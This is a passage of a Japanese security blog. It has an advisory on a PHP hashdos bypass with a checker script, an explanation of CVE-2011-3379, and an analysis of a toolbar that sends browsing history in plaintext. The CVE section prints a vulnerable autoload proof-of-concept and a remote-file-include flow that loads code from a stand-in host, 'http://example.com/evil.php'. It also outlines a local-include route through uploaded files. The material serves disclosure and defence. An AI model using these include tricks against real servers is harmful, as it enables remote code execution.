PHPでこれを実現するには、ログイン成功直後に下記を実行します。
session_regenerate_id(true);
これは容易に実現できるため、セッションフィクセイション攻撃を受けやすいか否かに関わらず、かならず上記を実施するようにしましょう。影響の受けやすさを検討しなければならないケースとしては、既存サイトが上記対策を実施しておらず、かつ対策がすぐにできない場合です。その場合は、セキュリティの専門家にチェックをしてもらうとよいと思いますが、セッションフィクセイション脆弱性に関してはとっとと直してしまった方が安い気がします。


[PR]Webサイトのセキュリティ施策はHASHコンサルティング株式会社まで

2012年11月24日土曜日

セキュリティ情報:PHP5.4.8、PHP5.3.18以前にhashdos脆弱性

PHP5.4.8以前、PHP5.3.18以前には、mbstring.encoding_translationが有効になっている場合にhashdos攻撃に脆弱であることが分かりましたので報告します。

一昨日、PHP5.4.9とPHP5.3.19が公開されましたが、changelogを読んで驚きました。
Mbstring:
    Fixed bug #63447 (max_input_vars doesn't filter variables when mbstring.encoding_translation = On).
http://www.php.net/ChangeLog-5.php#5.4.9より引用
mbstring.encoding_translationが有効になっている場合、max_input_varsが有効にならないというのです。これは、hashdos脆弱性の対策が無効になることを意味します。

これは大変だということで、PHP5.4.8とPHP5.4.9で検証してみました。その結果を以下に示します。
mbstring.encoding_translation
Off On
PHP5.4.8 OK NG
PHP5.4.9 OK OK

ご覧のように、確かにPHP5.4.8で、かつmbstring.encoding_translationが有効の場合、max_input_varsのチェックが無効です。これは、hashdos攻撃を受けることを意味しますので、試しにやってみました。多数のhashdosリクエストをPOSTした状態の top コマンドの表示を下記に示します。MaxClientsは50です。


50個のapache2プロセスがすべてhashdosリクエストの処理に占有されています。このリクエスト、1プロセスのみで動作させた場合 5~6分かかるので、50プロセス並行だと4~5時間占有されることになります。この間、新たなリクエストを受け付けることができなくなります。

検証はPHP5.4.8以外にPHP5.4.0でも実施しましたが、PHP5.4.8と同じ結果となりました。おそらく、PHP5.4.8以前のすべてのバージョンでこの問題があると予想されます。

CentOSやUbuntuのPHPパッケージは問題ない

CentOSやUbuntuのyumやapt-getでPHPパッケージを導入した環境でも調べてみましたが、不思議なことに、この問題は再現しませんでした。原因は不明ですが、これらのPHPパッケージでは、max_input_varsの確認方法として、オリジナルとは別の実装が採用されている可能性があります。
調査したディストリビューションとPHPパッケージのバージョン、確認結果を下表に示します。少し古いバージョンですがご了承下さい。個別の判定については、後述のチェック用スクリプトをご活用下さい。

LinuxディストリビューションPHPパッケージバージョン結果
CentOS release 5.5php-5.1.6-27.el5_7.5OK
CentOS release 6.2php-5.3.3-3.el6_2.6.i686OK
Ubuntu 10.04.1 LTS5.3.2-1ubuntu4.14OK
Ubuntu 12.04 LTS5.3.10-1ubuntu3OK

チェック用スクリプト

hashdosの状態を確認するためのスクリプトを作成してみましたので、Webサイトのチェックにご活用下さい。 このスクリプトを任意のファイル名(PHPスクリプトとして実行できる拡張子)でチェック対象Webサーバーに保存して下さい。Webブラウザを用いて、このスクリプトを実行すると、結果が表示されます。JavaScriptを有効にして下さい。チェック終了後はスクリプトを削除して下さい。
<?php
  if (@$_GET['mode'] === 'check') {
    header('Content-Type: text/plain');
    echo (int)count($_POST);
    exit;
  }
  $max_input_vars = ini_get('max_input_vars');
  $postnumber = (int)$max_input_vars + 10;
  if ($max_input_vars === false) {
    $max_input_vars = 'undefined';
  }
?>
<html>
<head>
<title>PHP hashdos checker</title>
</head>
<body>
PHP version : <?php echo htmlspecialchars(phpversion()); ?><br>
max_input_vars : <?php echo htmlspecialchars($max_input_vars); ?><br>
mbstring.encoding_translation : <?php
   echo htmlspecialchars(ini_get('mbstring.encoding_translation')); ?><br>
<div id='result'></div>
<div id='judgment'></div>
<script>
var n = <?php echo (int)$postnumber; ?>;
var data = '';
for (var i = 1; i <= n; i++) {
  data += i + '=&';
}
var req = new XMLHttpRequest();
req.onreadystatechange = function() {
  if (req.readyState == 4 && req.status == 200) {
    var count = req.responseText;
    document.getElementById('result').appendChild(
      document.createTextNode('Number of POST parameters : ' + count));
    if (count < n) {
      judgment = 'This web server is NOT vulnerable to hashdos.';
    } else {
      judgment = 'This web server is VULNERABLE to hashdos.';
    }
    document.getElementById('judgment').appendChild(document.createTextNode(judgment));
  }
}
req.open('POST', '?mode=check' );
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req.send(data);
</script>
</body>
</html>

いくつか、動作例を下記に示します。

環境結果
PHP5.4.8PHP version : 5.4.8
max_input_vars : 1000
mbstring.encoding_translation : 1
Number of POST parameters : 1010
This web server is VULNERABLE to hashdos.
PHP5.4.9
(mbstring.encoding_translation = On)
PHP version : 5.4.9
max_input_vars : 1000
mbstring.encoding_translation : 1
Number of POST parameters : 0
This web server is NOT vulnerable to hashdos.
PHP5.4.9
(mbstring.encoding_translation = Off)
PHP version : 5.4.9
max_input_vars : 1000
mbstring.encoding_translation :
Number of POST parameters : 1000
This web server is NOT vulnerable to hashdos.
Ubuntu 12.04 LTS
5.3.10-1ubuntu3
PHP version : 5.3.10-1ubuntu3
max_input_vars : 1000
mbstring.encoding_translation : 1
Number of POST parameters : 1001
This web server is NOT vulnerable to hashdos.

上記から、興味深いことが分かります。
PHP5.4.9では、mbstring.encoding_translationがOnの時とOffの時で、防御のための挙動が変わります。Offの場合は、変数の数が max_input_varsまで切り詰められます。Onの場合は、POST変数がすべて削除されます。
また、Ubuntu12.04のPHPパッケージを導入している場合、mbstring.encoding_translationに関わりなく(上記には出ていませんが)、max_input_vars + 1 に変数の数が切り詰められます。私の調べた範囲では、LinuxディストリビューションのPHPパッケージはすべてこうなっていて、「LinuxディストリビューションのPHPパッケージはmax_input_varsのチェック方法が異なるのではないか」と思った根拠はこれです。

対策

再現条件がはっきりしないため、上記チェックスクリプトで、脆弱性の確認をお勧めします。対策が必要な場合は、下記の手段があります。
  • PHPの最新版を導入する(本稿執筆時点でPHP5.4.9、またはPHP5.3.19)
  • mbstring.encoding_translation をOffに設定する(可能な場合)
  • hashdosの回避策を実装する
  • hashdosのリスクを受容する
hashdosの回避策については、下記エントリを参考にしてください。
現在分かっているところでは、hashdosのリスクは、攻撃を受けている最中Webサイトがリクエストに応じられなくなることです。情報漏洩や改ざんはありません。最悪、数時間~数日間サイトが使えなくなっても良いなら、リスクを受容するという選択肢もあるでしょう。


免責

このセキュリティ情報は予告なしに改訂される場合があります。このセキュリティ情報を適用した結果について徳丸浩およびHASHコンサルティング株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものとします。

PR

HASHコンサルティング株式会社では、Webサイトを安全に守るためのセキュリティサービスを提供しています。WAF(Web Application Firewall)による効果的な脆弱性対策(hashdosを含む)や、リスクの評価、対策方法の策定、セキュリティの教育などを提供します。詳しくはお気軽にお問い合わせ下さい

2012年10月1日月曜日

PHPのis_a関数における任意のコードを実行される脆弱性(CVE-2011-3379)とは何だったか

少し古いバージョンになりますが、PHP5.3.7および5.3.8のis_a関数には「任意のコードを実行される脆弱性(CVE-2011-3379)」があります。
任意のコードが実行されるとはただならぬ感じですが、このCVE-2011-3379はほとんど話題になっていません。なぜでしょうか。それは、この脆弱性が発現する条件が、レアなケースに限られるからです。
このエントリでは、CVE-2011-3379について少し詳しく説明することを通して、脆弱性情報の見方について考えてみます。

is_a関数とis_subclass_of関数

PHPにはis_a関数とis_subclass_of関数というよく似た関数があります。以下PHP5.3.6までの「元々の」仕様について説明します。
is_a関数は、2つの引数をとり、第1引数のクラス(インスタンスで指定)が、第2引数のクラス(クラス名で指定)またはそのサブクラスであるか否かを返します。
<?php
class A {}
class SubA extends A {}
$parent = new A();
$sub = new SubA();
var_dump(is_a($parent, 'A'));       // true
var_dump(is_a($parent, 'SubA'));  // false
var_dump(is_a($sub, 'A'));           // true
var_dump(is_a($sub, 'SubA'));      // true
is_subclass_of関数は、第1引数のクラス(インスタンスかクラス名で指定)が、第2引数のクラス(クラス名で指定)のサブクラスか否かを返します。
<?php
class A {}
class SubA extends A {}
$parent = new A();
$sub = new SubA();
var_dump(is_subclass_of($parent, 'A'));     // false
var_dump(is_subclass_of($parent, 'SubA'));   // false
var_dump(is_subclass_of($sub, 'A'));            // true
var_dump(is_subclass_of($sub, 'SubA'));       // false
var_dump(is_subclass_of('A', 'A'));               // false
var_dump(is_subclass_of('A', 'SubA'));        // false
var_dump(is_subclass_of('SubA', 'A'));        // true
var_dump(is_subclass_of('SubA', 'SubA'));   // false

PHPの__autoload関数

PHPには、__autoload関数というものがあります。この関数は、未定義のクラスが参照された際に、そのクラスの定義を自動的に読み込めるようにするものです。
<?php
function __autoload($classname) {
  include($classname . '.php');  // class名に .php をつけたファイルをインクルードする
}
$x = new X();  // クラスXは未定義なので、__autoload('X')が暗黙に呼び出される
               // 結果的に、X.phpがインクルードされる

前述のis_subclass_of関数の題意引数に指定したクラス名が、未定義クラスを指す場合も、__autoload関数が呼び出されます。
<?php
function __autoload($classname) {
  include($classname . '.php');  // class名に .php をつけたファイルをインクルードする
}
var_dump(is_subclass_of('X', 'A'));  // __autoload('X')が暗黙に呼び出される

PHP5.3.7におけるis_subclass_of関数の変更

PHP5.3.7にて、is_subclass_of関数の仕様が少し変わります(Bug #53727)。PHP5.3.6以前では、インターフェースBを実装しているクラスImplBは、is_subclass_of関数はfalseを返し、ImplBのサブクラスについてはtrueを返していました。
<?php
interface B {}
class ImplB implements B{}
class SubImplB extends ImplB{};
$parent = new ImplB();
$sub = new SubImplB();
var_dump(is_subclass_of($parent, 'B'));     // false
var_dump(is_subclass_of($sub, 'B'));        // true
var_dump(is_subclass_of('ImplB', 'B'));     // false
var_dump(is_subclass_of('SubImplB', 'B'));  // true
これに対して、PHP5.3.7では、インターフェースについてもis_subclass_of関数はtrueを返すようになりました。すなわち、上記の表示はいずれもがtrueを表示するように変わりました。

PHP5.3.7において副作用的に発生したis_a関数の仕様変更

インターフェースの扱いはCVE-2011-3379とは直接関係ないのですが、上記変更に伴って、is_a関数の仕様が変わりました。

  • 第1引数としてクラス名(文字列)が指定できるようになった
  • 第1引数に指定したクラス名が未定義クラスの場合、__autoload関数が呼び出されるようになった

すなわち、以下の例では、__autoload('X')が暗黙に呼び出されます。
<?php
function __autoload($classname) {
  include($classname . '.php');  // class名に .php をつけたファイルをインクルードする
}
var_dump(is_a('X', 'A'));  // __autoload('X')が暗黙に呼び出される
なぜ、このような変更が起こってしまったかという原因ですが、is_a関数とis_subclass_of関数は中味がよく似ているため、実装は共通であり、スイッチで処理内容が切り替わるようになっているためと思われます。具体的には、zend_builtin_functions.c内のis_a_impl関数の第2引数only_subclassの値でこの2つの関数を切り替えています。
このため、is_subclass_of関数の変更の影響が、is_a関数にも及んだものと推測されます。

is_a関数の仕様変更の影響

PHP5.3.7のリリースが2011年8月18日ですが、8月22日にはis_a関数がautoload関数を呼び出すようになったことが問題としてbug.php.netにあがっています(Bug #55475)。

PHP5.3.6とは仕様が変わっていることは明らかですが、Bug #55475のスレッドでは、以下のような議論が行われました。
  • まぁ、これはこれで一貫した処理なのでは?
  • でも、安定版の中で振る舞いが変わるのはやはりまずいよ
  • PEARだと、この影響でまずいことがある
  • これはセキュリティバグだ。第1引数にURLが指定されると、リモートファイルインクルード(RFI)になる
ここでは、PEARの件と、セキュリティバグの件を紹介します。

PEARライブラリFileオブジェクトの誤動作例

PEARライブラリ中のFileオブジェクトには、readAllというメソッドがあります。以下に示すように、ファイル名を指定して呼び出すと、ファイルの中味が文字列として帰ります。エラーの場合はPEAR_Errorというクラスのインスタンスが返るので、PEAR::isErrorメソッドでエラー判定します。
<?php
require_once 'File.php';
$content = File::readAll(FILENAME);
if (PEAR::isError($content)){
 問題は、このエラー判定です。isErrorの実装をいかに示します。
function isError($data, $code = null)
{
  if (!is_a($data, 'PEAR_Error')) {
    return false;
  }
  if (is_null($code)) {
    return true;
  } elseif (is_string($code)) {
    return $data->getMessage() == $code;
  }
  return $data->getCode() == $code;
}
is_a関数で、PEAR_Errorクラスのインスタンスであるかどうかを比較していますが、$dataの中身が、「PEAR_Error」という文字列だったらどうでしょうか。is_a関数は、is_a('PEAR_Error', 'PEAR_Error')という呼び出しになりPHP5.3.7ではtrueが帰ります。結果として、isErrorはtrueを返してしまいます。
つまり、ファイルの中身が「PEAR_Error」だったら、正常な読み込みができた場合でもエラーとして判定されてしまうことになります。
そんなにしょっちゅうあるとは思えませんが、不完全なプログラムであることには間違いありません。しかも、これが脆弱性として発現する場合もあるのです。これがCVE-2011-3379です。

is_a関数とPEARの合わせ技で脆弱性に

Cipriano Groenendal氏のブログ記事から、脆弱性のあるスクリプトを紹介します。
<?php
function __autoload($class_name) {
  include $class_name . '.php';
}
$uploaded_file = File::readAll($uploaded_filename);
if (PEAR::isError($uploaded_file)){
  echo "error : $uploaded_file\n";
}else{
  echo "success : $uploaded_file\n";
}
このスクリプトは、__autoload関数が定義されていて、未定義のクラスが参照された場合に、クラス名に.php拡張子をつけたファイルをインクルードするようになっています。処理の中身は、利用者がアップロードしたファイルを読み込んで、画面に表示するものです。PoCなので、XSS対策していないのは目をつぶることにしましょうw

ここで問題は、PEAR::isErrorメソッドが内部でis_a関数を読んでいるので、ファイルから読み込んだ文字列に対して、is_a関数が呼び出されることです。

たとえば、ファイルの中身が http://example.com/evil だったとすると、

PEAR::isError('http://example.com/evil');
 ↓
is_a('http://example.com/evil', 'PEAR_Error');
 ↓  // http://example.com/evil というクラスは未定義なのでautoload
__autoload('http://example.com/evil');
 ↓
include('http://example.com/evil.php');

上記の流れで、(allow_url_include = Onの場合、但しデフォルトはOff)http://example.com/evil.php からスクリプトが読み込まれて実行されてしまうことになります。これはリモートファイルインクルード攻撃(RFI)の成功です。

また、allow_url_include = Offの場合でも、利用者がアップロード機能を利用して、拡張子がphpのファイルにPHPスクリプトを書き込むことができ、そのファイル名を外部から知ることができれば、ローカルファイルインクルード攻撃(LFI)が可能です。
  • 利用者がPHPスクリプトをアップロードする。ファイル名は /var/data/12345.php となる
  • 利用者が /var/data/12345 という文字列をアップロードする
  • 上記の流れで、/var/data/12345.php がインクルードされ、スクリプトが実行される
拡張子がphpで、中味がPHPスクリプトというファイルをアップロードできること自体がとても恐ろしいアプリケーションであるわけですが、外部からこのスクリプトを起動できなければ、LFIは成立しません。しかし、is_a関数の仕様変更により、「元々は外部から起動できないはずのスクリプトが起動できてしまう」ことが問題です。

攻撃が成立する条件

上記シナリオ以外にもis_a関数が__autoload関数を呼び出すシナリオがあるかもしれませんが、それを考え出すときりがないので、上記シナリオの場合に、攻撃が成立する条件を考えます。それは以下をすべて満たす場合です。
  • PHP5.3.7またはPHP5.3.8を使っている(PHP5.3.9で対策されているため)
  • PEAR - Fileなど、外部からの入力に対して、直接・間接にis_a関数を呼び出している
    典型的にはファイルアップロード機能があり、その中味をFile::readAll関数で読み出している
  • アップロード機能によりテキストファイルをアップロードできる
  • __autoload関数を定義している
  • 以下のいずれかが成立する
    •  allow_url_includeがOnである
    •   利用者がPHPスクリプトを拡張子が.phpのファイルとしてアップロードでき、ファイル名を推測できる

対策

対策は以下の通りです。PHP5.3.9以降を用いれば、問題は発生しません。
  • PHPの最新版を用いる。PHP5.3.9で対策されている(必須)
  • is_a関数ではなく、instanceof演算子を用いる(推奨)
  • Fileクラスを使わない。File::readAll関数の代わりに、file_get_contentsが利用できる(推奨)
  • __autoload関数を実装する場合は、クラス名の妥当性確認を行う(強く推奨、後述)

考察・まとめ

is_a関数のちょっとした仕様変更が、思わぬ脆弱性の原因になってしまった例を紹介しました。
 正直言って、is_a関数の仕様はイケテナイと思います。現に、is_a関数はPHP5.0.0でいったん非推奨になっていますが、「利用者からの要望が多かったため」、PHP5.3.0で非推奨でなくなったという経緯があります。
 PHP5.3.9での対策は、is_a関数のデフォルトでは第1引数に文字列をとれなくしましたが、追加の第3引数により、文字列でのクラス名の指定も可能にしたものです。詳しくは、is_a関数のリファレンスを参照下さい。

 is_a関数は、元々第1引数の型(クラス)を調べるものなのに、文字列の時だけ中味(クラス名)をチェックするのは、筋が悪く、思わぬバグを生み出す原因になります。CVE-2011-3379は正にその例です。PHP5.3.9での対策は、「デフォルトでは文字列指定できなくしたけど、スイッチで、オブジェクトまたは文字列の指定もできる」というものですが、オブジェクトを入力とする関数と、文字列を入力とする関数は本来は別に用意するべきでしょう。

 また、is_a関数(元々はis_subclass_of関数)が、クラス未定義の場合に__autoloadを呼び出す仕様がそもそも余計なおせっかいと思いますが、仮に__autoloadを呼び出すのであれば、クラス名(識別子)としての妥当性を確認すべきでしょう。現状では、クラス名として「1」や「/var/data/evil」など(クラス名にできない文字列)を指定しても、そのまま__autoloadが呼び出されます。
 このため、PHP利用者側で取れる対策としては、__autoload関数側でクラス名の妥当性チェックをするのがよいと思いますが、本来は、PHP側で対策すべきと考えます。

2012年8月10日金曜日

Tポイントツールバーを導入するとSSL通信の履歴までもが盗聴可能になる

twitterなどでTポイントツールバーの利用規約が話題になっています。このエントリでは、Tポイントツールバーを実際に導入して気づいた点を報告します。結論として、当該ツールバーを導入すると、利用者のアクセス履歴(SSL含む)が平文で送信され、盗聴可能な状態になります。

追記(2012/08/10 20:10)
たくさんの方に読んでいただき、ありがとうございます。一部に誤解があるようですが、ツールバーが送信している内容はURLだけで、Cookieやレスポンスまでも送信しているわけではありません。URLを送信するだけでも、以下に示す危険性があるということです。
追記終わり

追記(2012/08/13 23:50)
ポイントツールバーにバージョンアップがあり、WEB閲覧履歴の送信がSSL通信に変更されました。従って、WEB閲覧履歴が盗聴可能な状況は回避されました。本日22:50頃確認しました。
追記終わり

導入

Tポイントツールバーの導入は以下の手順です。
  1. T-IDの登録(アカウント作成)
  2. ツールバーのダウンロード
  3. ツールバーの導入
詳しくはサイトのインストール手順をご覧下さい。私は、WindowsXP SP3とInternet Explorer 8の組み合わせで検証しました。インストールの途中で ieframe.dll が見つからないというエラー(下図)でインストーラーが停止しましたが、再度実行するとインストールできました。


使ってみる

それでは、さっそくTポイントツールバーを使ってみましょう。IE起動時の画面は以下となります。



ツールバーの左端にTポイントカードのロゴがあり、その右に検索キーワードの入力欄があります。Tポイントツールバーは、Tサイトにログインした状態で使用する想定のようです。ログインしてから、入力欄に「育毛剤」と入力して検索してみます。



検索結果のドメインは、tsearch.tsite.jp ですし、T-IDでログインした状態なので、利用者のキーワード収集は、ツールバーではなく、このサイトの側で行っているのかもしれませんね。画面の検索ボタンの右に「Powered by Yahoo!」とあるので、検索エンジンはYahoo!のOEMなのでしょう。キーワード検索広告もYahoo!のもののようです。


WEB閲覧履歴の送信

ところで、Tポイントツールバーの利用規約には以下のように書かれています。
第6条(履歴の収集)

1. 利用者は、当社が提供した本ツールバーをインストールした利用者端末による全てのWEB閲覧履歴(閲覧したURL、検索キーワード、ファイル名及びアクセス日時等の履歴情報をいい、以下「WEB閲覧履歴」といいます)が当社により取得されることをあらかじめ承諾するものとします。
実際のところツールバーがWEB閲覧履歴を収集しているかを確認してみましょう。IEで、https://www.hash-c.co.jp/?PHPSESSID=ABCDEFGHIJK0123456789 を閲覧してみます。すると、以下のHTTPリクエストがPOSTされます。文字の一部をマスク表示して、読みやすいように改行を追加しています。xxxとなっているのは、謎の3バイトです。
POST /service/track.cgi?y=-8588570930699932058 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
Content-Type: application/x-www-form-urlencoded
Host: log.opt.ne.jp
Content-Length: 183
Expect: 100-continue
Connection: Keep-Alive

xxx&
mid=4A7DZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ50170&
tlsc_l=NVEpO4ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZU_s&
u=https%3a%2f%2fwww.hash-c.co.jp%2f%3fPHPSESSID%3dABCDEFGHIJK0123456789
log.opt.ne.jpというホストに、閲覧履歴が平文で(HTTPSではなくHTTPで)送信されています。
これは問題がありますね。閲覧履歴がカルチュア・コンビニエンス・クラブ株式会社によって取得されることは利用規約に書いてありますが、「閲覧履歴が平文送信されるので、カルチュア・コンビニエンス・クラブ株式会社以外のものに盗聴により取得されるかもしれない」ことは利用規約には書かれていないからです。
実はTカードツールバーの利用規約には以下のようにも書かれています。
第10条(免責事項)
1.利用者は、自己の判断と責任の下で、本ツールバーを利用するものとします。本ツールバーを利用したこと又は利用できなかったこと若しくは第3条に基づくTポイントの付与が受けられなかったことにより、利用者に損害、その他の不利益が生じたとしても、当社は一切責任を負いません。
一般的に利用規約にはこの種の免責事項を書くものではありますが、免責を記しているからと言って利用者の閲覧履歴を粗末に扱ってよいということにはならないと思います。それに、FAQのページには以下のように書かれています。


上記は、データが漏洩しないとは書いていませんが、「テスト済みですので、ご安心下さい」と書いてあれば、多くの利用者は、カルチュア・コンビニエンス・クラブという大きな会社が運営していることもあって、データの安全性にも配慮してあるのだろうと暗黙に了解するのではないでしょうか。


URLの平文送信の影響

利用者の閲覧履歴であるURLを平文送信することにより、HTTPSアクセス時のURLが盗聴される可能性が出て来ます。この影響について考えます。
まず、URLにセッションIDを埋め込んであるサイト(携帯電話向けサイトでは一般的な方式ですが、他のサイトにも存在します)では、セッションIDが盗聴されることにより、成りすましのリスクがあります。
また、セッションIDでなくても、URLに秘密情報を埋め込むことによりアクセス制御をする場合があります。また、画像ファイルやPDFについても、URLを秘密にすることによりアクセス制御をしているサイトがあります。とあるネットバンクの取引明細のPDFは、URLに乱数が埋め込まれていますが、URLを知っているとパスワードなしでアクセスできてしまいます。 このようなサイトについても、URLを盗聴されることにより、成りすましやデータの窃取の危険性が生じます。
これら、成りすまし等以外にも、どのページをアクセスしたかを第三者に知られたくないという状況もあるでしょう。Tポイントツールバーを導入すると、Webのセキュリティ強度は強制的に低下します。それは、利用規約などには書いていないことです。

利用者固有番号


追記(2012/08/10 20:25)
以下のパラグラフで、「固有の利用番号」を利用者にひもつくものと解釈しておりましたが、そう解釈する必然性はないことに気がつきました。むしろ、端末の結びついた情報と解釈した方が日本語としては自然かもしれません。しかし、端末にひもつく「番号」は機能の実現に不可欠とは言えないと考えます。一方、利用者にひもつく情報は、閲覧履歴を収集するという仕様を実現するためには不可欠なもので、それを番号と呼ぶか、ユーザIDと呼ぶかということに過ぎず、以下の指摘はやや的外れでした。指摘している脅威が存在することには変わりませんが、その原因は、(1)Web閲覧履歴を収集すること自体が問題、(2)仮に閲覧履歴を収集するなら暗号化して送信するべき、ということです。
追記終わり

Tポイントツールバーの利用規約には以下のように「利用番号」についての記載があります。
第6条(履歴の収集)
【略】
3. 本ツールバーには固有の利用番号が登録されています。当該利用番号は、本ツールバーが機能するために必要な情報であり、無効化あるいは削除することはできません。
「固有の利用番号」というと嫌な感じですが、先ほどのPOSTデータの中に、この「利用番号」は含まれるのでしょうか。先のPOSTデータには、mid および tlsc_l と言うパラメータがあり、ログイン・ログアウトしてもこの値は変わりません。これらのいち、私は tlsc_l の方が「固有の利用番号」のような気がしました。その根拠は、以下の通りです。
  • ツールバーインストール直後のT-SITEにログイン前の状態では、tlsc_lは空である
  • T-SITEのWebアプリケーションの発行するCookieにも tlsc_l というCookieがあり、TポイントツールバーのPOSTする tlsc_l と値が同じ
  • 端末を変えても、T-IDが同じなら tlsc_l は同じ。midの方は端末毎に変わる
  • Cookieのtlsc_lの方も、ログイン毎に値は変化しない

「固有の利用番号」が、TポイントツールバーのPOSTデータについていることから、以下のような困ったことが起こり得ます。


利用者固有番号の悪影響

たとえば、PROXYサーバーを経由でアクセスしている場合、平文の(HTTPSでない)リクエストはPROXYサーバー上で監視することができます。一方、HTTPSのリクエストについては、アクセスしているホスト名まではわかりますが、URLは分かりません。
しかし、TポイントツールバーのPOST値を監視できる立場の人は、「固有の利用番号」がついていることにより、特定ユーザの挙動把握が容易になります。
たとえば、とあるユーザが、https://twitter.com/#!/ockeghem/HiddenList を頻繁にアクセスしているとします。これはtwitterのリストのURLですが、このリストが非公開となっている場合、このユーザは、twitter IDがockeghem(すなわち私)であると推測できます。
すると、このユーザと同じ「固有の利用番号」がついてるWEB閲覧履歴は、すべて私のアクセスできることが分かってしまいます。

Tポイントツールバーの利用者にとって、WEB閲覧履歴がCCCに伝わることは利用規約上で(建前上は)許諾しています。しかし、第三者にもWEB閲覧履歴が漏れることまでは許諾していません。それが起こってしまう原因は、Tポイントツールバーの以下の設計上の問題に起因しています。
  • WEB閲覧履歴の平文送信(根本原因)
  • 「固有の利用番号」の存在(攻撃を容易にする要因)

まとめ

Tポイントツールバーについて紹介しました。
Tポイントツールバーは、利用者のアクセス履歴(URL)をログ収集サーバーに送信しますが、(1)平文通信である、(2)固有の利用番号がつく、ことがセキュリティ上の問題となります。

とくに、利用者のアクセス履歴を平文で送信することにより、Webサイトのセキュリティ強度を勝手に下げてしまう点は致命的であると考えます。これが許容できる利用者は、ほとんどいないでしょう。カルチュア・コンビニエンス・クラブ株式会社は、至急、以下のいずれかの対処をすべきです。

  • 利用規約に上記セキュリティ上のリスクを明記する
  • WEB閲覧履歴の送信をSSL通信に変更する
  • Tポイントツールバーの提供を停止し、既存ユーザには強制アップデートにて履歴送信機能を止める。log.opt.ne.jpも停止する

※前2項を一応考えましたが、どう考えてもダメなので、当エントリ公開時に削除しました。

2012年7月6日金曜日

PHPの入門書を書くことになりました&レビュアー募集のお知らせ

PHPの入門書をソフトバンククリエイティブさん出すことになりました。かねがね、PHPの入門書がよろしくないという問題意識を持ち、かつ色々な場でお話ししておりましたが、またしても「言い出しっぺの法則」が発動して、自分で書くことになりました。
PHPの入門書を(たぶん)10冊以上読んで(あるいは眺めて)、以下のような感触を持っています。
  • ものすごく初歩的な本は悪くないが、行き着くゴールが極めて限定される
  • SQLなどまで行き着く入門書は、後述する欠点を持つ傾向がある
  • 中級者・上級者向けについては、良いものが出て来た
PHP入門書の欠点というのは以下のようなものです。私の読んだPHP入門書は、次のいずれかに該当します。
  • 執筆者のスキルが低いために説明やサンプルの品質が低い
  • 執筆者のスキルは高いはずだが、説明のスキルが低く、不正確
  • 執筆者のスキルが高く説明も正確だが、初心者には難しく入門書でなくなってしまっている
ということから、上記の欠点のない(許容できる程度に少ない)入門書が書けないか考えました。
セキュリティについては前面に出さず、ふつーに、当然のように安全なものができあがることを目指しております。

現時点の構想は下記の通りです。変更の可能性があります。ノンプログラマ向けの本ではなく、開発者の卵向けという位置づけです。

対象読者

  • プログラマ・SE一年生でこれからPHPを学習する人
  • なにかプログラミング言語の経験があるとなお可
  • HTMLの基礎を知っていて簡単なHTMLを書けるとなお可(ただしHTMLの基礎知識は説明する)

学習環境

学習環境は以下を考えています。変更の可能性があります。
  • PC / Macに対応
  • VMware / Virtual Box ※XAMPPにするかもしれません(検討中)
  • Ubuntu + PHP + MySQL ※XAMPPにするかもしれません(検討中)
  • NetBeansによる開発・デバッグ環境
  • テストについても言及するかも
  • デプロイについても言及するかも

目標

本書のゴールは以下を考えています。変更の可能性があります。
  • 簡単なWebアプリがPHPにより作れる
  • PHPの基本をマスターする
  • 関数やクラスの使い方をマスターする
  • メールフォームが作れる
  • SQLを用いた検索フォームが作れる
  • 会員管理、認証のあるアプリケーションが作れる
  • NetBeansによるデバッグの仕方を習得する
  • より高度な技術を習得するための土台ができる
  • セキュリティ的な問題はなくす
    • ただし、あまりセキュリティの原理的なところは踏み込まず、「こうするとよい」というハウツーにとどめる
    • 要は「安全なWebアプリケーションの前に読む本」という位置づけにもなる

レビュアー募集

現状のPHP入門書に不満があるとして、自分なら十分なものが書ける根拠があるかというと、なかなか難しいと感じています。このため、今回も、レビュアーを公募して、皆様のお力をお借りしながら、少しでも良いものにしたいと希望しております。レビュアーに期待していることは以下のようなことです。
  • 初心者目線で、読んでわかりにくい箇所の指摘
  • PHPのエキスパートとしての指摘
  • 文章表現に対する指摘
  • 正確でない用語の指摘
  • 誤字・脱字・誤変換などいわゆるTYPOの指摘
  • その他、説明や構成に対するアドバイスなど
とくに初心者目線での指摘を頂ける方を募集します。自薦だけでなく、部下・教え子・後輩の推薦も歓迎します。ただし、応募はご本人からお願い致します。
レビュアーには「あの○○さん」のようなすごい方もおられますが、その中でも臆せずに「自分には分かりにくい」と言えるガッツのある人を歓迎(大歓迎)します。

当方からの謝礼としては以下を予定しています
  • 本の中での謝辞(本名またはハンドル)
  • 献本(紙の本と電子版)
  • 打ち上げへのご招待(会費は当方が負担します)
以下の条件を承諾していただけることが前提です。
  • いただいた指摘やアドバイスは真剣に検討致しますが、採用するとは限りません
  • ご意見を採用する・しない、採用後の表現は、最終的には徳丸が決定します
  • 具体的な修正案を盛り込んだ場合、著作権は徳丸に帰属します
  • 本の内容について秘密保持をしていただきます(常識的な範囲で)
人数としては、十数名程度と思っています。

レビュアーをやってみたいという方は、以下のいずれかの都合の良い方法で徳丸までご連絡ください。応募期間は、7月13日金曜日までとします。
  • phpbook @ tokumaru.org へのメール(@を半角にしてください)
  • twitter, facebookでのDM
連絡いただく内容としては、基本的には以下の内容です。
  • お名前(本名 または ハンドルネーム)
  • メールアドレス
  • 自己紹介(簡単で結構です)
  • アピール(こんな指摘がしたい and/or できる)
  • ブログなどのURL
徳丸が面識のない方については、基本的にブログなどでアウトプットを出している方から選考させていただきたいと考えています。これは、判断基準として既存のアウトプットを見させていただくという意味です。高度な内容である必要はまったくありません。逆に、既に面識がある方(twitter、facebookなども含みます)の場合は、単に「レビュアー立候補します」のみで結構です。

選考結果については、「レビュアー選考が終わり当選者の方にメールで通知しました」という形にしようと思っています。選に漏れた方は、別に「劣っている」という判断ではありませんので、恨まないでくださいね。

それでは、よろしくお願い致します。

PS.
今朝、某社のJavaScript勉強会に参加させていただきました。ツッコミどころ満載のテキストに各位がツッコムのを最初は自分も笑っていたのですが、段々顔が引きつってくるのを感じました。他人事ではありません。入門書を書くのは大変ですね。

追記(2012/7/10))

